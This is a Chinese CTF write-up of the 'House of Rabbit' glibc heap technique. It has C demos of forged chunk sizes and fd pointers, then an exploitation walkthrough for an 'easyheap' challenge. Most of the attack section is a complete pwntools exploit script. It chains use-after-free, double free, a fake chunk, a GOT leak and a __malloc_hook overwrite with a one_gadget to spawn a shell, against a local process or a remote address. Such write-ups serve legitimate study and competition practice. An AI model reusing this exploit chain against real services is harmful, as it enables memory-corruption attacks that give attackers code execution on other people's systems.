PWN January 03, 2020

House of Rabbit

Words count 21k Reading time 19 mins. Read count 0

一、原理介绍:

1、修改size:

1
2
3
4
5
6
7
8
9
10
11
12
#include "stdio.h"
#include "string.h"
int main()
{
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x40); //0x602050
malloc(0x10);
free(chunk1);
free(chunk2);
chunk1[-1]=0xa1;
malloc(0x1000);
}

57207217517

2、修改FD指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "stdio.h"
#include "string.h"
int main()
{
unsigned long* chunk1=malloc(0x40); //0x602000
unsigned long* chunk2=malloc(0x100);//0x602050
chunk2[1]=0x31; //fake chunk size 0x30
chunk2[7]=0x21; //fake chunk's next chunk
chunk2[11]=0x21;
free(chunk1);
chunk1[0]=0x602060;
malloc(5000);
}

57207165103

通过malloc(size),这个size大于前面的chunk块,就会触发malloc_consolidate,把fastbin中的堆块按照大小放到small bin中整合,也会在fd和bk指针留下我们的地址,再次申请即可打印地址,这种利用方式在fastbin中应该不错,具体做题目再说吧,总之很容易可以构造出overlap chunk!实现,free装态的chunk的修改

拿一道题看看,虽然不全是house of rabbit,但是有用到这个思想。

2、realloc

这题比较巧妙,结合的知识点还是不错的,下面来看看:

57164378555

57164395445

熟悉的菜单题,free函数有UAF漏洞,这里show函数被限制了,只有变量为0xDEADBEEFDEADBEEF才能输出,但是输入的name和info刚好在0x602090的上面和下面,很自然想到house of spirit去伪造堆块再申请出来,修改变量即可,但是由于没有堆地址覆盖,所以正常free掉这个fake_chunk是无法实现的,但是可以利用UAF漏洞,如果能实现double free的话,就可以写入FD指针,从而申请出来。

57164380488

malloc的功能,能申请的堆块在fastbin以内(0x80),正常的输入content

57164479758

这是666时,这里使用第4次时,会提示付出代价,但是跳过再次使用666,就可以无限次使用了,calloc的功能,申请0xA0的堆块,正常读入content,free有UAF漏洞。

57164528792

好了,到这里程序就分析完了,接着就是漏洞利用思路:

1、double free的实现:

1
2
3
4
5
6
7
8
9
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()

解释下,先申请0xA0的堆块,后面0x40格挡,再free掉0xA0,malloc切割出0x60,这时,由于UAF,虽然ptr处的指针还是0xA0的堆块指针,但是size变成了0x60,我们再次malloc时,得到的是新的堆块,指针放到buf中,这样buf和ptr中都有0x60的堆块指针,121实现doublefree。

2、将fake_chunk写入FD,申请出来再改写变量,这里同时可以往0x602060的FD写入0x602060,伪造double free,这样就可以再次使用这个堆块了(类似ubuntu18下的tcache的dbfree)。

3、show出puts的got,得到真实地址,接着再申请得到0x602060,改写FD得到malloc_hook-0x23处的fake_chunk,申请出来改写malloc_hook为onegadget

4、由于show后关闭了输出,onegadget一直打不通,realloc调整偏移也是不行,这里师兄提示说dbfree触发malloc_printer,会调用malloc触发malloc_hook,于是才打通了

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easyheap')
if local:
p = process('./easyheap')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru(">> ")
sl('1')
ru("input the size")
sl(str(size))
ru("please input your content")
sd(content)

def free():
ru(">> ")
sl('2')

def show():
ru(">> ")
sl('3')

def magic(choice,content):
ru(">> ")
sl('666')
if choice==1:
ru("build or free?")
sl(str(choice))
ru("please input your content")
sd(content)
else:
ru("build or free?")
sl(str(choice))
def malloc1(size,content):
sl('1')
sl(str(size))
sd(content)

def free1():
sl('2')

def magic_calloc(content):
sl('666')
sl('1')
sl(content)

def magic_free():
sl('666')
sl('2')

puts_got = elf.got["puts"]
ru("please input your username:")
sl(p64(0) + p64(0x71) + p64(0x602060))
ru("please input your info:")
sl(p64(0) + p64(0x41))
fake_chunk = 0x602060
magic(2,'kkkk')
magic(2,'kkkk')
magic(2,'kkkk')
ru(">> ")
sl('666')
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
py = ''
py += p64(0x602060)*3 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF)
malloc(0x60,py)
show()
libc_base = u64(rc(6).ljust(8,'\x00')) - libc.sym["puts"]
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0xf1147
chunk = libc_base + libc.sym["__malloc_hook"] - 0x23
realloc = libc_base + libc.sym["realloc"]
bk(0x000000000400AA2)
ru("everything has a price")
malloc1(0x60,p64(chunk))
malloc1(0x60,p64(chunk))

py = ''
py += 'A'*11 + p64(onegadget) + p64(realloc+0x14)
malloc1(0x60,py)
sl('2')
sl('2')
p.interactive()

这题可以暂时看成修改fd指针,指向我们的fake_chunk,然后实现把它free掉或者说申请出来。

0%